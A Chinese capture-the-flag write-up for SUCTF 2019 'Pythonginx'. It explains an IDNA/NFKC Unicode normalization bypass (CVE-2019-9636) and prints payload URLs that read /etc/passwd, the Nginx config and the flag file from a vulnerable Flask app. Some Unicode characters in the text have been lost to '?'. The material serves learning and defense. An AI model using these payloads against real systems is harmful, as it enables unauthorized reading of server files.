[SUCTF 2019]Pythonginx

0x00知识点

2019black hat一个议题
PPT：

        https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
    

内容如下：

        这也就是说我们传入的url为http://evil.c?.com在经过上述处理过后便成为了http://evil.ca/c.com
    

在unicode中字符?(U+2100)，当IDNA处理此字符时，会将?变成a/c，因此当你访问此url时，dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时，只对域名做了限制，那么通过这种方法，我们就可以轻松绕过服务器对域名的限制了。

0x01非预期解

CVE-2019-9636：urlsplit不处理NFKC标准化

        file:////suctf.cc/../../../../../etc/passwd
    

        URLs encoded with Punycode/IDNA use NFKC normalization to decompose characters [1]. This can result in some characters introducing new segments into a URL.

For example, \uFF03 is not equal to '#' under direct comparison, but normalizes to '#' which changes the fragment part of the URL. Similarly \u2100 normalizes to 'a/c' which introduces a path segment.

Currently, urlsplit() does not normalize, which may result in it returning a different netloc from what a browser would

>>> u = "https://example.com\uFF03@bing.com"
>>> urlsplit(u).netloc.rpartition("@")[2]
bing.com

>>> # Simulate
>>> u = "https://example.com\uFF03@bing.com".encode("idna").decode("ascii")
>>> urlsplit(u).netloc.rpartition("@")[2]
example.com

(Note that .netloc includes user/pass and .rpartition("@") is often used to remove it.)

This may be used to steal cookies or authentication data from applications that use the netloc to cache or retrieve this information.

The preferred fix for the urllib module is to detect and raise ValueError if NFKC-normalization of the netloc introduce any of '/?#@:'. Applications that want to avoid this error should perform their own decomposition using unicodedata or transcode to ASCII via IDNA.

>>> # New behavior
>>> u = "https://example.com\uFF03@bing.com"
>>> urlsplit(u)
...
ValueError: netloc 'example.com#@bing.com' contains invalid characters under NFKC normalization

>>> # Workaround 1
>>> u2 = unicodedata.normalize("NFKC", u)
>>> urlsplit(u2)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')

>>> # Workaround 2
>>> u3 = u.encode("idna").decode("ascii")
>>> urlsplit(u3)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')

Note that we do not address other characters, such as those that convert into period. The error is only raised for changes that affect how urlsplit() locates the netloc and the very common next step of removing credentials from the netloc.

This vulnerability was reported by Jonathan Birch of Microsoft Corporation and Panayiotis Panayiotou (p.panayiotou2@gmail.com) via the Python Security Response Team. A CVE number has been requested.

[1]: https://unicode.org/reports/tr46/

    

链接
https://bugs.python.org/issue36216

0x02Nginx重要文件位置

        配置文件存放目录：/etc/nginx
主配置文件：/etc/nginx/conf/nginx.conf
管理脚本：/usr/lib64/systemd/system/nginx.service
模块：/usr/lisb64/nginx/modules
应用程序：/usr/sbin/nginx
程序默认存放位置：/usr/share/nginx/html
日志默认存放位置：/var/log/nginx
配置文件目录为：/usr/local/nginx/conf/nginx.conf

    

0x03解题

打开题目，给了源码

        from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
    return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
    

        审计代码
    

前两个判断?host?是否是?suctf.cc?，如果不是才能继续。然后第三个经过了?decode(‘utf-8‘)?之后传进了?urlunsplit?函数，在第三个判断中又必须要等于?suctf.cc?才行。
直接构造
file://suctf.c?sr/local/nginx/conf/nginx.conf（另一种绕过方式是利用?来代替c及进行绕过），这样可以读到flag的位置：

        server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }
    

读flag

        http://d7844ab4-68f7-4e76-9432-a112b65afa1f.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%86sr/fffffflag
    

参考链接

https://blog.csdn.net/qq_42181428/article/details/99741920

原文：https://www.cnblogs.com/wangtanzhi/p/12181032.html